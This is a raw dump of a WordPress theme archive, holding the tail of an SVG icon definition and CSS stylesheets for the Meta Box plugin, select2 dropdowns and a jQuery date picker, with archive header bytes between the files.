70.13-4 87.77-4.81 0 0 12.22-27.19-.59-33.44-3.07-1.18-23.17 4.58-23.17 4.58s-165.22 16.49-232.36 18.05c1.6 8.82 7.62 17.08 15.78 19.55 13.31 3.48 22.69 1.7 49.15.89 24.83-1.6 43.68-2.43 56.51-2.43v99.81H351.41s2.82 22.31 25.51 22.85h107.94v70.92c0 13.97-11.19 21.99-24.48 21.12-14.08.11-26.08-1.15-41.69-1.81 1.99 3.97 6.33 14.39 19.31 21.84 9.88 4.81 16.17 6.57 26.02 6.57 29.56 0 45.67-17.28 44.89-45.31v-73.32h122.36c9.68 0 8.7-23.78 8.7-23.78l.03-.01z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M170.54 148.13v217.54l23.43.01 7.71 26.37 42.01-26.37h49.53V148.13H170.54zm97.75 193.93h-27.94l-27.9 17.51-5.08-17.47-11.9-.04V171.75h72.82v170.31zm-118.46-94.39H97.5c1.74-27.1 2.2-51.59 2.2-73.46h51.16s1.97-22.56-8.58-22.31h-88.5c3.49-13.12 7.87-26.66 13.12-40.67 0 0-24.07 0-32.27 21.57-3.39 8.9-13.21 43.14-30.7 78.12 5.89-.64 25.37-1.18 36.84-22.21 2.11-5.89 2.51-6.66 5.14-14.53h28.87c0 10.5-1.2 66.88-1.68 73.44H20.83c-11.74 0-15.56 23.62-15.56 23.62h65.58C66.45 321.1 42.83 363.12 0 396.34c20.49 5.85 40.91-.93 51-9.9 0 0 22.98-20.9 35.59-69.25l53.96 64.94s7.91-26.89-1.24-39.99c-7.58-8.92-28.06-33.06-36.79-41.81L87.9 311.95c4.36-13.98 6.99-27.55 7.87-40.67h61.65s-.09-23.62-7.59-23.62v.01zm412.02-1.6c20.83-25.64 44.98-58.57 44.98-58.57s-18.65-14.8-27.38-4.06c-6 8.15-36.83 48.2-36.83 48.2l19.23 14.43zm-150.09-59.09c-9.01-8.25-25.91 2.13-25.91 2.13s39.52 55.04 41.12 57.45l19.46-13.73s-25.67-37.61-34.66-45.86h-.01zM640 258.35c-19.78 0-130.91.93-131.06.93v-101c4.81 0 12.42-.4 22.85-1.2 40.88-2.41 70.13-4 87.77-4.81 0 0 12.22-27.19-.59-33.44-3.07-1.18-23.17 4.58-23.17 4.58s-165.22 16.49-232.36 18.05c1.6 8.82 7.62 17.08 15.78 19.55 13.31 3.48 22.69 1.7 49.15.89 24.83-1.6 43.68-2.43 56.51-2.43v99.81H351.41s2.82 22.31 25.51 22.85h107.94v70.92c0 13.97-11.19 21.99-24.48 21.12-14.08.11-26.08-1.15-41.69-1.81 1.99 3.97 6.33 14.39 19.31 21.84 9.88 4.81 16.17 6.57 26.02 6.57 29.56 0 45.67-17.28 44.89-45.31v-73.32h122.36c9.68 0 8.7-23.78 8.7-23.78l.03-.01z"
      }
    },
    "free": ["brands"]
  }
}
PK     N\D  D  (  inc/dashboard/lib/meta-box/css/style.cssnu [        /* Styles for 'normal' meta boxes
-------------------------------------------------------------- */

/* Clearfix for field */
.rwmb-field {
	display: flex;
}
.rwmb-field:not(:last-of-type) {
	margin: 0 0 12px;
}
.rwmb-label {
	width: 25%;
}
.rwmb-input {
	flex: 1;
}

.rwmb-label > label {
	font-weight: 600;
}
.rwmb-required {
	color: #dc3232;
	font-weight: bold;
	margin-left: 3px;
}

.rwmb-input h4 {
	margin: 0;
}
.rwmb-input input:not([size]),
.rwmb-input-group,
.rwmb-input select,
.rwmb-input .select2-container,
.rwmb-input textarea:not([cols]) {
	width: 100%;
	box-sizing: border-box;
}
.rwmb-input input[type="checkbox"],
.rwmb-input input[type="radio"] {
	width: 1em;
}
.rwmb-input input[type="button"] {
	width: auto;
}
.rwmb-input input:not([type="checkbox"]):not([type="radio"]),
.rwmb-input textarea,
.rwmb-input select {
	max-width: 100%;
	margin-inline: 0;
}
.rwmb-textarea {
	resize: vertical;
}

/* Clone */
.rwmb-clone {
	min-height: 24px;
	margin-bottom: 12px;
	padding-right: 24px;
	position: relative;
	clear: both;
	background: #fff;
}
.rwmb-clone > input[type='radio'],
.rwmb-clone > input[type='checkbox'] {
	margin: 6px 0 0 4px;
}
.rwmb-button.remove-clone {
	text-decoration: none;
	color: #ccc;
	display: inline-block;
	position: absolute;
	top: 0;
	right: 0;
	width: 20px;
	height: 20px;
	transition: color 200ms;
}
.rwmb-button.remove-clone .dashicons {
	font-size: 20px;
}
.rwmb-button.remove-clone:hover {
	color: #dc3232;
}
.remove-clone:focus {
	outline: 0;
	box-shadow: none;
}
.rwmb-button.add-clone {
	margin-top: 4px;
}
.rwmb-clone-icon {
	cursor: move;
	background: url(../img/drag_icon.gif) no-repeat;
	height: 23px;
	width: 15px;
	vertical-align: top;
	display: inline-block;
	position: absolute;
	left: 0;
	top: 0;
}
.rwmb-sort-clone {
	padding-left: 15px;
}

/* jQuery validation */
p.rwmb-error {
	color: #dc3232;
	margin: 4px 0;
	clear: both;
}
input.rwmb-error.rwmb-error,
textarea.rwmb-error,
select.rwmb-error {
	border-color: #dc3232;
	background: #ffebe8;
}

/* Utilities
-------------------------------------------------------------- */
.rwmb-sortable-placeholder {
	background: #fcf8e3;
	border: 1px solid #faebcc;
	display: block;
}


/* Styles for 'side' meta boxes
-------------------------------------------------------------- */
#side-sortables .rwmb-field {
	flex-direction: column;
}
#side-sortables .rwmb-label {
	width: 100%;
	margin-bottom: 4px;
}

/* Mobile style */
@media (max-width: 782px) {
	.rwmb-field {
		flex-direction: column;
	}
	.rwmb-label {
		width: 100%;
		margin-bottom: 4px;
	}
	.rwmb-input input[type="radio"],
	.rwmb-input input[type="checkbox"] {
		width: 1.5625rem;
	}
}

/* Seamless style
--------------------------------------------------------------*/
.rwmb-seamless {
	background: none;
	border: none;
	box-shadow: none;
}
.rwmb-seamless .inside.inside {
	padding-left: 0;
	padding-right: 0;
}
.postbox.rwmb-seamless .hndle,
.postbox.rwmb-seamless .handlediv,
.postbox.rwmb-seamless .postbox-header {
	display: none;
}
.rwmb-seamless .rwmb-clone {
	background: none;
}

/* CSS fixes
--------------------------------------------------------------*/
/* Fix color picker field is hidden by the post editor at after_title position. https://metabox.io/support/topic/bug-color-picker-field-is-showed-below-the-title-field/ */
.postarea {
	position: relative;
	z-index: 0;
}
.rwmb-hidden-wrapper {
	display: none;
}PK     N\<>V   V   *  inc/dashboard/lib/meta-box/css/divider.cssnu [        .rwmb-divider-wrapper hr {
	flex: 1;
	border: none;
	border-top: 1px solid #e6e6e6;
}
PK     N\[u    (  inc/dashboard/lib/meta-box/css/range.cssnu [        .rwmb-range-inner {
	display: flex;
	align-items: center;
	justify-content: space-between;
}
.rwmb-range {
	flex: 1;
}
.rwmb-range.rwmb-range,
.rwmb-range.rwmb-range:hover {
	vertical-align: middle;
	padding: 0;
	border: none;
}
.rwmb-range-output {
	margin-left: 8px;
}
PK     N\`      ,  inc/dashboard/lib/meta-box/css/key-value.cssnu [        .rwmb-key_value-clone {
	display: flex;
	align-items: center;
}
.rwmb-key_value-clone input {
	flex: 1;
}
.rwmb-key_value-clone .remove-clone {
	position: static;
}PK     N\l    -  inc/dashboard/lib/meta-box/css/input-list.cssnu [        .rwmb-toggle-all-wrapper {
	margin-top: 0;
}
.rwmb-input-list {
	line-height: 1.8;
}
.rwmb-input-list .rwmb-input-list {
	margin-left: 20px;
}
.rwmb-input-list > label {
	display: block;
}
.rwmb-input-list.rwmb-inline {
	line-height: inherit;
	display: flex;
	flex-wrap: wrap;
	gap: 6px 12px;
}

/* Media modal */
.attachment-details .compat-attachment-fields .rwmb-input-list > label > input {
	margin: 0 0.25rem 0 0;
}
.compat-attachment-fields .rwmb-input-list.rwmb-inline {
	gap: 10px;
}
PK     N\y	TD  D  2  inc/dashboard/lib/meta-box/css/select2/select2.cssnu [        .select2-container {
  box-sizing: border-box;
  display: inline-block;
  margin: 0;
  position: relative;
  vertical-align: middle; }
  .select2-container .select2-selection--single {
    box-sizing: border-box;
    cursor: pointer;
    display: block;
    height: 28px;
    user-select: none;
    -webkit-user-select: none; }
    .select2-container .select2-selection--single .select2-selection__rendered {
      display: block;
      padding-left: 8px;
      padding-right: 20px;
      overflow: hidden;
      text-overflow: ellipsis;
      white-space: nowrap; }
    .select2-container .select2-selection--single .select2-selection__clear {
      position: relative; }
  .select2-container[dir="rtl"] .select2-selection--single .select2-selection__rendered {
    padding-right: 8px;
    padding-left: 20px; }
  .select2-container .select2-selection--multiple {
    box-sizing: border-box;
    cursor: pointer;
    display: block;
    min-height: 32px;
    user-select: none;
    -webkit-user-select: none; }
    .select2-container .select2-selection--multiple .select2-selection__rendered {
      display: inline-block;
      overflow: hidden;
      padding-left: 8px;
      text-overflow: ellipsis;
      white-space: nowrap; }
  .select2-container .select2-search--inline {
    float: left; }
    .select2-container .select2-search--inline .select2-search__field {
      box-sizing: border-box;
      border: none;
      font-size: 100%;
      margin-top: 5px;
      padding: 0; }
      .select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button {
        -webkit-appearance: none; }

.select2-dropdown {
  background-color: white;
  border: 1px solid #aaa;
  border-radius: 4px;
  box-sizing: border-box;
  display: block;
  position: absolute;
  left: -100000px;
  width: 100%;
  z-index: 1051; }

.select2-results {
  display: block; }

.select2-results__options {
  list-style: none;
  margin: 0;
  padding: 0; }

.select2-results__option {
  padding: 6px;
  user-select: none;
  -webkit-user-select: none; }
  .select2-results__option[aria-selected] {
    cursor: pointer; }

.select2-container--open .select2-dropdown {
  left: 0; }

.select2-container--open .select2-dropdown--above {
  border-bottom: none;
  border-bottom-left-radius: 0;
  border-bottom-right-radius: 0; }

.select2-container--open .select2-dropdown--below {
  border-top: none;
  border-top-left-radius: 0;
  border-top-right-radius: 0; }

.select2-search--dropdown {
  display: block;
  padding: 4px; }
  .select2-search--dropdown .select2-search__field {
    padding: 4px;
    width: 100%;
    box-sizing: border-box; }
    .select2-search--dropdown .select2-search__field::-webkit-search-cancel-button {
      -webkit-appearance: none; }
  .select2-search--dropdown.select2-search--hide {
    display: none; }

.select2-close-mask {
  border: 0;
  margin: 0;
  padding: 0;
  display: block;
  position: fixed;
  left: 0;
  top: 0;
  min-height: 100%;
  min-width: 100%;
  height: auto;
  width: auto;
  opacity: 0;
  z-index: 99;
  background-color: #fff;
  filter: alpha(opacity=0); }

.select2-hidden-accessible {
  border: 0 !important;
  clip: rect(0 0 0 0) !important;
  height: 1px !important;
  margin: -1px !important;
  overflow: hidden !important;
  padding: 0 !important;
  position: absolute !important;
  width: 1px !important; }

.select2-container--default .select2-selection--single {
  background-color: #fff;
  border: 1px solid #aaa;
  border-radius: 4px; }
  .select2-container--default .select2-selection--single .select2-selection__rendered {
    color: #444;
    line-height: 28px; }
  .select2-container--default .select2-selection--single .select2-selection__clear {
    cursor: pointer;
    float: right;
    font-weight: bold; }
  .select2-container--default .select2-selection--single .select2-selection__placeholder {
    color: #999; }
  .select2-container--default .select2-selection--single .select2-selection__arrow {
    height: 26px;
    position: absolute;
    top: 1px;
    right: 1px;
    width: 20px; }
    .select2-container--default .select2-selection--single .select2-selection__arrow b {
      border-color: #888 transparent transparent transparent;
      border-style: solid;
      border-width: 5px 4px 0 4px;
      height: 0;
      left: 50%;
      margin-left: -4px;
      margin-top: -2px;
      position: absolute;
      top: 50%;
      width: 0; }

.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__clear {
  float: left; }

.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__arrow {
  left: 1px;
  right: auto; }

.select2-container--default.select2-container--disabled .select2-selection--single {
  background-color: #eee;
  cursor: default; }
  .select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear {
    display: none; }

.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b {
  border-color: transparent transparent #888 transparent;
  border-width: 0 4px 5px 4px; }

.select2-container--default .select2-selection--multiple {
  background-color: white;
  border: 1px solid #aaa;
  border-radius: 4px;
  cursor: text; }
  .select2-container--default .select2-selection--multiple .select2-selection__rendered {
    box-sizing: border-box;
    list-style: none;
    margin: 0;
    padding: 0 5px;
    width: 100%; }
    .select2-container--default .select2-selection--multiple .select2-selection__rendered li {
      list-style: none; }
  .select2-container--default .select2-selection--multiple .select2-selection__placeholder {
    color: #999;
    margin-top: 5px;
    float: left; }
  .select2-container--default .select2-selection--multiple .select2-selection__clear {
    cursor: pointer;
    float: right;
    font-weight: bold;
    margin-top: 5px;
    margin-right: 10px; }
  .select2-container--default .select2-selection--multiple .select2-selection__choice {
    background-color: #e4e4e4;
    border: 1px solid #aaa;
    border-radius: 4px;
    cursor: default;
    float: left;
    margin-right: 5px;
    margin-top: 5px;
    padding: 0 5px; }
  .select2-container--default .select2-selection--multiple .select2-selection__choice__remove {
    color: #999;
    cursor: pointer;
    display: inline-block;
    font-weight: bold;
    margin-right: 2px; }
    .select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover {
      color: #333; }

.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice, .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__placeholder, .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-search--inline {
  float: right; }

.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice {
  margin-left: 5px;
  margin-right: auto; }

.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove {
  margin-left: 2px;
  margin-right: auto; }

.select2-container--default.select2-container--focus .select2-selection--multiple {
  border: solid black 1px;
  outline: 0; }

.select2-container--default.select2-container--disabled .select2-selection--multiple {
  background-color: #eee;
  cursor: default; }

.select2-container--default.select2-container--disabled .select2-selection__choice__remove {
  display: none; }

.select2-container--default.select2-container--open.select2-container--above .select2-selection--single, .select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple {
  border-top-left-radius: 0;
  border-top-right-radius: 0; }

.select2-container--default.select2-container--open.select2-container--below .select2-selection--single, .select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple {
  border-bottom-left-radius: 0;
  border-bottom-right-radius: 0; }

.select2-container--default .select2-search--dropdown .select2-search__field {
  border: 1px solid #aaa; }

.select2-container--default .select2-search--inline .select2-search__field {
  background: transparent;
  border: none;
  outline: 0;
  box-shadow: none;
  -webkit-appearance: textfield; }

.select2-container--default .select2-results > .select2-results__options {
  max-height: 200px;
  overflow-y: auto; }

.select2-container--default .select2-results__option[role=group] {
  padding: 0; }

.select2-container--default .select2-results__option[aria-disabled=true] {
  color: #999; }

.select2-container--default .select2-results__option[aria-selected=true] {
  background-color: #ddd; }

.select2-container--default .select2-results__option .select2-results__option {
  padding-left: 1em; }
  .select2-container--default .select2-results__option .select2-results__option .select2-results__group {
    padding-left: 0; }
  .select2-container--default .select2-results__option .select2-results__option .select2-results__option {
    margin-left: -1em;
    padding-left: 2em; }
    .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option {
      margin-left: -2em;
      padding-left: 3em; }
      .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option {
        margin-left: -3em;
        padding-left: 4em; }
        .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option {
          margin-left: -4em;
          padding-left: 5em; }
          .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option {
            margin-left: -5em;
            padding-left: 6em; }

.select2-container--default .select2-results__option--highlighted[aria-selected] {
  background-color: #5897fb;
  color: white; }

.select2-container--default .select2-results__group {
  cursor: default;
  display: block;
  padding: 6px; }

.select2-container--classic .select2-selection--single {
  background-color: #f7f7f7;
  border: 1px solid #aaa;
  border-radius: 4px;
  outline: 0;
  background-image: -webkit-linear-gradient(top, white 50%, #eeeeee 100%);
  background-image: -o-linear-gradient(top, white 50%, #eeeeee 100%);
  background-image: linear-gradient(to bottom, white 50%, #eeeeee 100%);
  background-repeat: repeat-x;
  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0); }
  .select2-container--classic .select2-selection--single:focus {
    border: 1px solid #5897fb; }
  .select2-container--classic .select2-selection--single .select2-selection__rendered {
    color: #444;
    line-height: 28px; }
  .select2-container--classic .select2-selection--single .select2-selection__clear {
    cursor: pointer;
    float: right;
    font-weight: bold;
    margin-right: 10px; }
  .select2-container--classic .select2-selection--single .select2-selection__placeholder {
    color: #999; }
  .select2-container--classic .select2-selection--single .select2-selection__arrow {
    background-color: #ddd;
    border: none;
    border-left: 1px solid #aaa;
    border-top-right-radius: 4px;
    border-bottom-right-radius: 4px;
    height: 26px;
    position: absolute;
    top: 1px;
    right: 1px;
    width: 20px;
    background-image: -webkit-linear-gradient(top, #eeeeee 50%, #cccccc 100%);
    background-image: -o-linear-gradient(top, #eeeeee 50%, #cccccc 100%);
    background-image: linear-gradient(to bottom, #eeeeee 50%, #cccccc 100%);
    background-repeat: repeat-x;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFCCCCCC', GradientType=0); }
    .select2-container--classic .select2-selection--single .select2-selection__arrow b {
      border-color: #888 transparent transparent transparent;
      border-style: solid;
      border-width: 5px 4px 0 4px;
      height: 0;
      left: 50%;
      margin-left: -4px;
      margin-top: -2px;
      position: absolute;
      top: 50%;
      width: 0; }

.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__clear {
  float: left; }

.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow {
  border: none;
  border-right: 1px solid #aaa;
  border-radius: 0;
  border-top-left-radius: 4px;
  border-bottom-left-radius: 4px;
  left: 1px;
  right: auto; }

.select2-container--classic.select2-container--open .select2-selection--single {
  border: 1px solid #5897fb; }
  .select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow {
    background: transparent;
    border: none; }
    .select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b {
      border-color: transparent transparent #888 transparent;
      border-width: 0 4px 5px 4px; }

.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single {
  border-top: none;
  border-top-left-radius: 0;
  border-top-right-radius: 0;
  background-image: -webkit-linear-gradient(top, white 0%, #eeeeee 50%);
  background-image: -o-linear-gradient(top, white 0%, #eeeeee 50%);
  background-image: linear-gradient(to bottom, white 0%, #eeeeee 50%);
  background-repeat: repeat-x;
  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0); }

.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single {
  border-bottom: none;
  border-bottom-left-radius: 0;
  border-bottom-right-radius: 0;
  background-image: -webkit-linear-gradient(top, #eeeeee 50%, white 100%);
  background-image: -o-linear-gradient(top, #eeeeee 50%, white 100%);
  background-image: linear-gradient(to bottom, #eeeeee 50%, white 100%);
  background-repeat: repeat-x;
  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFFFFFFF', GradientType=0); }

.select2-container--classic .select2-selection--multiple {
  background-color: white;
  border: 1px solid #aaa;
  border-radius: 4px;
  cursor: text;
  outline: 0; }
  .select2-container--classic .select2-selection--multiple:focus {
    border: 1px solid #5897fb; }
  .select2-container--classic .select2-selection--multiple .select2-selection__rendered {
    list-style: none;
    margin: 0;
    padding: 0 5px; }
  .select2-container--classic .select2-selection--multiple .select2-selection__clear {
    display: none; }
  .select2-container--classic .select2-selection--multiple .select2-selection__choice {
    background-color: #e4e4e4;
    border: 1px solid #aaa;
    border-radius: 4px;
    cursor: default;
    float: left;
    margin-right: 5px;
    margin-top: 5px;
    padding: 0 5px; }
  .select2-container--classic .select2-selection--multiple .select2-selection__choice__remove {
    color: #888;
    cursor: pointer;
    display: inline-block;
    font-weight: bold;
    margin-right: 2px; }
    .select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover {
      color: #555; }

.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice {
  float: right; }

.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice {
  margin-left: 5px;
  margin-right: auto; }

.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove {
  margin-left: 2px;
  margin-right: auto; }

.select2-container--classic.select2-container--open .select2-selection--multiple {
  border: 1px solid #5897fb; }

.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple {
  border-top: none;
  border-top-left-radius: 0;
  border-top-right-radius: 0; }

.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple {
  border-bottom: none;
  border-bottom-left-radius: 0;
  border-bottom-right-radius: 0; }

.select2-container--classic .select2-search--dropdown .select2-search__field {
  border: 1px solid #aaa;
  outline: 0; }

.select2-container--classic .select2-search--inline .select2-search__field {
  outline: 0;
  box-shadow: none; }

.select2-container--classic .select2-dropdown {
  background-color: white;
  border: 1px solid transparent; }

.select2-container--classic .select2-dropdown--above {
  border-bottom: none; }

.select2-container--classic .select2-dropdown--below {
  border-top: none; }

.select2-container--classic .select2-results > .select2-results__options {
  max-height: 200px;
  overflow-y: auto; }

.select2-container--classic .select2-results__option[role=group] {
  padding: 0; }

.select2-container--classic .select2-results__option[aria-disabled=true] {
  color: grey; }

.select2-container--classic .select2-results__option--highlighted[aria-selected] {
  background-color: #3875d7;
  color: white; }

.select2-container--classic .select2-results__group {
  cursor: default;
  display: block;
  padding: 6px; }

.select2-container--classic.select2-container--open .select2-dropdown {
  border-color: #5897fb; }
PK     N\    2  inc/dashboard/lib/meta-box/css/select-advanced.cssnu [        .rwmb-field .select2-container {
	height: auto;
	min-width: 160px;
	max-width: 100%;
}
.select2-container .select2-selection--single,
.select2-container .select2-selection--multiple,
.select2-dropdown {
	border-color: #7e8993;
}
.select2-container .select2-selection--multiple {
	min-height: 30px;
}
.select2-container--open .select2-dropdown--below {
	border-top: 1px solid #7e8993;
	top: -1px;
}
.select2-container--open .select2-dropdown--above {
	border-bottom: 1px solid #7e8993;
	bottom: -1px;
}
.select2-container .select2-selection--single {
	height: 30px;
}
.select2-container .select2-selection--multiple .select2-selection__rendered {
	display: block;
}
.select2-container--default .select2-selection--single .select2-selection__rendered {
	line-height: 30px;
}
.select2-container--default .select2-selection--single .select2-selection__arrow {
	height: 28px;
}
.select2-results__option {
	margin-bottom: 0;
}
.select2-container .select2-search--inline {
	margin-bottom: 0;
}
.select2-container .select2-search--inline .select2-search__field {
	margin-top: 0;
	min-height: auto;
}
.select2-search--dropdown .select2-search__field {
	padding: 0 4px;
	min-height: 30px;
}

body > .select2-container {
	z-index: 999999;
}

@media (max-width: 782px) {
	.select2-container .select2-selection--single {
		height: 40px;
	}
	.select2-container--default .select2-selection--single .select2-selection__rendered {
		line-height: 40px;
	}
	.select2-container--default .select2-selection--single .select2-selection__arrow {
		height: 38px;
	}
}PK     N\E    -  inc/dashboard/lib/meta-box/css/background.cssnu [        .rwmb-background-row {
	margin-bottom: 5px;
	display: flex;
	flex-wrap: wrap;
	align-items: flex-start;
}

.rwmb-background-wrapper .wp-picker-container {
	position: relative;
	display: inline-block;
	vertical-align: top;
}
.rwmb-background-wrapper .wp-picker-holder {
	position: absolute;
	z-index: 9;
	min-width: 255px;
}
.rwmb-background-wrapper .rwmb-select {
	flex: 1;
	margin-bottom: 5px;
	max-width: 100%;
}
PK     N\w,    /  inc/dashboard/lib/meta-box/css/autocomplete.cssnu [        .rwmb-autocomplete-result {
	border-bottom: 1px solid #ccc;
	padding: 1em 0;
	overflow: hidden;
}
.rwmb-autocomplete-result .label {
	float: left;
	width: 90%;
}
.rwmb-autocomplete-result .actions {
	width: 10%;
	float: right;
	cursor: pointer;
}
.ui-autocomplete {
	z-index: 999999;
}PK     N\%5b  5b  '  inc/dashboard/lib/meta-box/css/date.cssnu [        body {
	--mb-color-datepicker-primary: #23282d;
	--mb-color-datepicker-border: #23282d;
	--mb-color-datepicker-active: var(--wp-admin-theme-color, #2271b1);
	--mb-color-datepicker-heading: #fff;
}

/* Fix empty block below admin footer (issue #24) */
#ui-datepicker-div {
	display: none;
	z-index: 999999 !important;
}

/* Style for multiple months */
.ui-datepicker-multi .ui-datepicker-group {
	padding: 0 .5%;
	box-sizing: border-box;
}
.ui-datepicker-multi .ui-datepicker-group .ui-datepicker-calendar {
	width: 100%;
}

/* Date Picker Default Styles */
.ui-datepicker {
	padding: 0;
	border: 1px solid #ddd;
	border-radius: 4px;
}
.ui-datepicker * {
	padding: 0;
	border-radius: 0;
}
.ui-datepicker table {
	font-size: 13px;
	margin: 0;
}
.ui-datepicker .ui-datepicker-header,
.ui-timepicker-div .ui-widget-header {
	border: none;
	font-weight: normal;
}
.ui-datepicker .ui-datepicker-header .ui-state-hover {
	border-color: transparent;
	cursor: pointer;
	border-radius: 0;
}

.ui-datepicker .ui-datepicker-title {
	margin-top: .4em;
	margin-bottom: .3em;
	font-size: 14px;
}
.ui-datepicker .ui-datepicker-prev-hover,
.ui-datepicker .ui-datepicker-next-hover,
.ui-datepicker .ui-datepicker-next,
.ui-datepicker .ui-datepicker-prev {
	height: 1em;
	top: .9em;
	border: none;
}
.ui-datepicker .ui-datepicker-prev-hover {
	left: 2px;
}
.ui-datepicker .ui-datepicker-next-hover {
	right: 2px;
}
.ui-datepicker .ui-datepicker-next span,
.ui-datepicker .ui-datepicker-prev span {
	background-image: url('data:image/png;base64,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